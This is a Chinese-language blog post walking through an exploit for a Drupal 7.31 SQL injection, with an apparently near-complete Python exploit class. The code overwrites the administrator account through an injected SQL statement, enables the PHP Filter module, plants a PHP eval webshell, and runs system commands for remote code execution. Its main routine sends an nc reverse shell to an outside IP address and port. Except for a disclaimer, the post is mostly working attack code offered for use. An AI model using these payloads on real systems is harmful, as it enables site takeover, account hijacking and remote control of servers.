Drupal 7.31 SQL注入漏洞利用詳解及EXP



有意遲幾天放出來這篇文章以及程序,不過看樣子Drupal的這個洞沒有引起多少重視,所以我也沒有必要按着不發了,不過說實話這個洞威力挺大的,當然,這也是Drupal本身沒有意料到的。

0x00

首先,這個漏洞真的很大,而且Drupal用的也比較多,應該可以掃出很多漏洞主機,但是做批量可能會對對方網站造成很大的損失,所以我也就只是寫個Exp。不過,這個洞好像不怎麼被重視,這也是極爲不合適。

 

0x01

關於漏洞的原理和POC在我的博客上已經有文章進行解釋,這裏只是着重說一下利用過程。配合POC的效果,我主要是從遠程代碼執行和GetShell方面去做的利用。

遠程代碼執行利用:

1.使用超級管理員進行登錄

2.開啓站點PHP Filter功能

3.新建aticle,選擇PHP_CODE模式(編輯php代碼)並預覽

4.預覽頁面載入後就會執行代碼

 

對應EXP中DrupalSQLin類的codeExecution函數,這個函數所做的事情就是把上述過程自動化。我編寫這個部分比較費勁的是,requests發送attachment遇到了問題,最後實在沒辦法就自己對Post數據包進行拼接,拼接結構如下:

 

在調試程序時,使用burpsuite進行輔助很有效果,通過burpsuite你可以清楚看到每一次交互的數據包格式與字段內容。

GetShell利用:

1.使用超級管理員進行登錄

2.開啓網站的PHP Filter功能

3.新建block,編輯PHP代碼

4.使用PHP_CODE進行保存

Post請求構造如下:

 

使用python進行發包,有個缺點就是不直觀,我們無法獲知我們的數據包構造是否正確,這時候可以使用requests模塊的proxies參數,將代理設置爲burpsuite,然後就可以分析調試了。不過,使用新建block的方法獲取shell可能權限比較小。

 

在構造請求包的時候,有兩個字段是form_build_id和form_token,他們是Drupal自帶的防止CSRF所使用的token(類似於Django中的csrf防護)。發包之前必須找到這兩個東西,使用小型爬蟲即可。

 

 

還有一個關鍵點就是模擬登陸後要保存cookie,因爲後續的攻擊利用都要攜帶admin的cookie,否則會執行出錯。

 

 

 

0x02

命令執行效果:本地監聽端口獲取反彈shell

測試環境:本地測試

程序執行:如下圖

接收反彈shell的過程中主線程會阻塞。

反彈shell效果;

 

0x03

這個漏洞威力大,帶給對方主機的危害也大,而且涉及到用戶覆蓋以及改變網站原有設置的問題,所以我這裏就不準備將代碼完整分享出來。

如果想要隱蔽地利用,那麼需要做很多輔助工作,比如在開啓php filter的過程中,涉及到小型爬蟲抓取網站原有的配置信息。還有就是管理員的獲取方式進行改進。

接下來就是放出部分代碼:

模擬登錄函數

開啓PHP Filter:

代碼執行:

 

0x04

這種Web類型的EXP編寫需要很多細節,在調試的途中我甚至動用了burpsuite。並且這個過程也讓我噁心得很。

另外,程序也僅供安全研究與學習交流使用,請讀者不要用於非法用途。

 

 

0x05

分享一下程序,其中一些重要的部分被我刪去一些,程序現在是無法運行的,還是隻提供學習交流使用:

 

#coding=utf-8
import requests
import re
import sys
import socket
import urllib
import urllib2
import cookielib
import mimetypes
import mimetools
class DrupalSQLin():

	'''獲取超級管理員賬戶密碼(覆蓋)'''
	def getAdmin(self,url):
		try:
			#admin is owned, pass is thanks
			data = {
				"name[0 ;update users set name='admin',pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid=1;# ]":'admin',
				"name[0]":"111111",
				"pass":"shit2",
				"test2":"test",
				"form_build_id":"",
				"form_id":"user_login_block",
				"op":"Log+in"
			}
			r = requests.post(url,timeout=10,data=data)
			page = r.content
			if page.count("mb_strlen() expects parameter 1 to be string") != 0:
				print "[+] Get Admin Success:admin/thanks"
		except Exception, e:
			print "Exception exists:%s" % e
			return None

	'''使用超級管理員登錄'''
	def login(self,url):
		#get token
		pattern = re.compile(r'name="form_build_id" value="(.+)"')
		r = requests.get(url)
		form_build_id = pattern.findall(r.content)[0]
		login_data = {
			'name':'admin',
			'pass':'thanks',
			'form_build_id':form_build_id, #csrf token
			'form_id':'user_login_block',
			'op':'Log+in'
		}

		r = requests.post(url,data=login_data)
		page = r.content
		if page.count("Log out") != 0:
			print '[+] Admin Log in Success!'
			
			#獲取cookies
			cj = cookielib.LWPCookieJar()
			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
			login_path = 'http://127.0.0.1/drupal-7.31/'
			pattern = re.compile(r'name="form_build_id" value="(.+)"')
			r = requests.get(login_path)
			form_build_id = pattern.findall(r.content)[0]
			data = {
						'name':'admin',
						'pass':'thanks',
						'form_build_id':form_build_id, #csrf token
						'form_id':'user_login_block',
						'op':'Log+in'
					}
			post_data = urllib.urlencode(data)
			request = urllib2.Request(login_path,post_data)
			html = opener.open(request).read()
			if cj:
				cj.save('cookiefile.txt')
			else:
				print 'Get Cookies Error, Exploit Failed!'
				sys.exit()
			f = open('cookiefile.txt','r')
			cookiesfile = f.read()
			pattern = re.compile(r'Set-Cookie3: (.+?)=(.+?);')
			ret = pattern.findall(cookiesfile)
			cookies = {ret[0][0]:str(ret[0][1]).replace('"','')}
			return cookies
		else:
			return None

	'''開啓PHP Filter'''
	def openPhpFilter(self,url):
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=admin/modules/list/confirm")
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		r = requests.get(url,cookies=cookies)
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		form_token = pattern_token.findall(r.content)[0]
		post_data = {
			'modules[Core][php][enable]':'1',
			'modules[Core][color][enable]':'1',
			'modules[Core][comment][enable]':'1',
			'modules[Core][contextual][enable]':'1',
			'modules[Core][dashboard][enable]':'1',
			'modules[Core][dblog][enable]':'1',
			'modules[Core][field_ui][enable]':'1',
			'modules[Core][help][enable]':'1',
			'modules[Core][list][enable]':'1',
			'modules[Core][menu][enable]':'1',
			'modules[Core][number][enable]':'1',
			'modules[Core][overlay][enable]':'1',
			'modules[Core][path][enable]':'1',
			'modules[Core][rdf][enable]':'1',
			'modules[Core][search][enable]':'1',
			'modules[Core][shortcut][enable]':'1',
			'modules[Core][toolbar][enable]':'1',
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'system_modules',
			'op':'Save+configuration'
		}
		try:
			r = requests.post(url,data=post_data,cookies=cookies)
			print '[+] Open PHP Filter Success!'
		except Exception, e:
			print "[+] Exception:%s Exploit Failed!" % e
			sys.exit()
	

	'''獲取webshell:?q=admin/structure/block/add'''
	def getShell(self,url,content="<?php @eval($_POST['cmd']);?>"):
		print "[+] Get Shell Module\nNotice: You can use this part get a shell."
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=admin/structure/block/add&render=overlay")
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		r = requests.get(url,cookies=cookies)
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		form_token = pattern_token.findall(r.content)[0]
		post_data = {
			'title':'',
			'info':'shit2',
			'body[value]':content,
			'body[format]':'php_code',
			'regions[bartik]':'-1',
			'regions[seven]':'-1',
			'visibility':'0',
			'pages':'',
			'custom':'0',
			'visibility__active_tab':'edit-path',
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'block_add_block_form',
			'op':'Save+block'
		}
		rp = requests.post(url,data=post_data)
		page_content = rp.content
		if page_content.count("created") != 0:
			print 'Get Shell Success:%s/?q=admin/structure/block&render=overlay' % url
			return "%s/?q=admin/structure/block" % url
		else:
			print 'Get Shell Failed!'



	'''遠程代碼執行:?q=node/add/article'''
	def codeExecution(self,url,code):
		print '''
[+]Code Execution Module
Please make sure that keep nc listener opening when you want to get a reverse shell.
1.First, you need to exe nc -vv -l -p <port>
2.Then, you can run this script with command 'nc <ip> <port> -e /bin/bash'
Tips: If you want a echo, add reg by youself.
		'''
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=node/add/article")
		r = requests.get(url,cookies=cookies)
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		#拼接attachment
		BOUND = mimetools.choose_boundary()
		content_type = "multipart/form-data; boundary=%s" % BOUND
		CRLF = "\r\n"
		fields = {
			'title':'chongrui',
			'field_tags[und]':CRLF,
			'body[und][0][summary]':CRLF,
			'body[und][0][value]':'<?php echo shell_exec("%s");?>' % code,
			'body[und][0][format]':'php_code',
			'field_image[und][0][fid]':'0',
			'field_image[und][0][display]':'1',
			'changed':CRLF,
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'article_node_form',
			'log':CRLF,
			'name':'admin',
			'date':CRLF,
			'status':'1',
			'promote':'1',
			'additional_settings__active_tab':'edit-revision-information',
			'op':'Preview'
		}


		L= []
		for k,v in fields.items():
			L.append('--'+BOUND)
			L.append('\n')
			L.append('Content-Disposition: form-data; name="%s"%s' % (k,"\n"))
			if v != CRLF:
				L.append(CRLF)
			L.append(v)
			L.append('\n')
			
		L.append('%s--' % BOUND)
		L.append(CRLF)

		body = ''
		for x in L:
			body+=x
		headers = {
			'Content-type':content_type
		}
		r = requests.post(url,data=body,cookies=cookies,headers=headers)
		cmd_echo = r.content
		if cmd_echo.count("Preview trimmed version") == 0:
			print 'Execution Error!'	
		else:
			print 'Execution Success!'


if __name__ == '__main__':
	url = "http://127.0.0.1/drupal-7.31/"
	code = ""

	print "Target host:%s" % url
	print 'Powered by :Exploit <from 91ri Team>\nQQ:739858341'
	exp = DrupalSQLin()
	#獲取admin權限
	exp.getAdmin(url)
	#開啓php filter
	exp.openPhpFilter("http://127.0.0.1/drupal-7.31/")
	#getshell
	exp.getShell(url)
	#代碼執行
	exp.codeExecution(url,'c:\\\\nc.exe 10.10.10.132 10002 -e c:\\\\cmd.exe')

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章